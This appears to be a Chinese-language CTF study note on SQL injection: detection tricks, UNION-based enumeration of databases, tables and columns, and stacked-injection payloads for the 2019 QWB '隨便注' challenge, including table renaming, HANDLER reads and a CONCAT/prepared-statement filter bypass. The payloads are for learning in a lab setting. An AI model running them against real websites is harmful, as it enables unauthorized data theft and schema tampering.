15:29:48下面列舉常見的判斷SQL注入的方式。但是目前大部分網站都對此有防御，真正發現網頁存在SQL注入漏洞，還得靠技術和經驗了。
二話不說，先加單引號、雙引號、單括號、雙括號等看看是否報錯，如果報錯就肯定存在SQL注入漏洞了。
還有在URL后面加and 1=1 、 and 1=2看頁面是否顯示一樣，顯示不一樣的話，肯定存在SQL注入漏洞了。
嘗試sql注入猜字段（實列講解，猜測）：
1' order by 3# 返回正常
1' order by 4# 錯誤
1' union select 1,2,3#
爆數據庫名：
1' union select 1,database(),3#
爆表名：
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news"#
爆列名：
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #
讀數據：
1' union select 1,fl4g,3 from secret_table#
so easy!!!
總結流程：
1.尋找注入點（基於報錯、基於布爾值、基於時間盲注、基於聯合查詢）
2.判斷是注入點之后丟sqlmap或者選擇手工注入
3.手工注入的話爆出當前數據庫名（如果盲注的話使用二分法猜解）
4.猜解表名
5.猜解字段名
6.猜解數據
然后學習刷題深入（堆疊注入）:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #關鍵字都被過濾標志
利用堆疊注入，查詢所有數據庫：1';show databases;#
查詢所有表:1';show tables;#
查詢表中所有列:1';show columns from words;#
查詢表中所有列：1';show columns from `1919810931114514`;# (字符串為表名操作時要加反引號)
因發現過濾標志但沒有禁用rename和alert。 so呢？ 采用修改表結構的方法來得到flag
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
將words表名改為words1，再將數字名表改為words，這樣數字名表就是默認查詢的表了，但是它少了一個id列，可以將flag字段改為id
（太麻煩嗎。有點哦！換一種方法：使用handler查詢，payload如下：-1';handler `1919810931114514` open;handler `1919810931114514` read first;#）
oh my god!
到此為止了嗎？ 不不不，look down:
2019強網杯"隨便注"學習:
啥東西？看不懂啊！ 看看百度叭.....(網絡如此強大，要學會利用)
1. 探測有無注入
2. 嘗試獲取列數
3. 嘗試獲取數據庫名，用戶等基本信息：
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #好吧，又被過濾了
1. 接下來我們嘗試堆疊注入能否可行。
-1';show tables# 原來如此！！！(還是嘗試出來的，太難了） 2. 堆疊注入可行，然后看一下表的字段
3. 查數據 上一步我們可以得知flag存在於supersqli數據庫中的1919810931114514表的flag字段。
select * from `1919810931114514`;（select被過濾了，想辦法叭）
4.構造payload：-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
15:18:59
先到這叭，后續更新...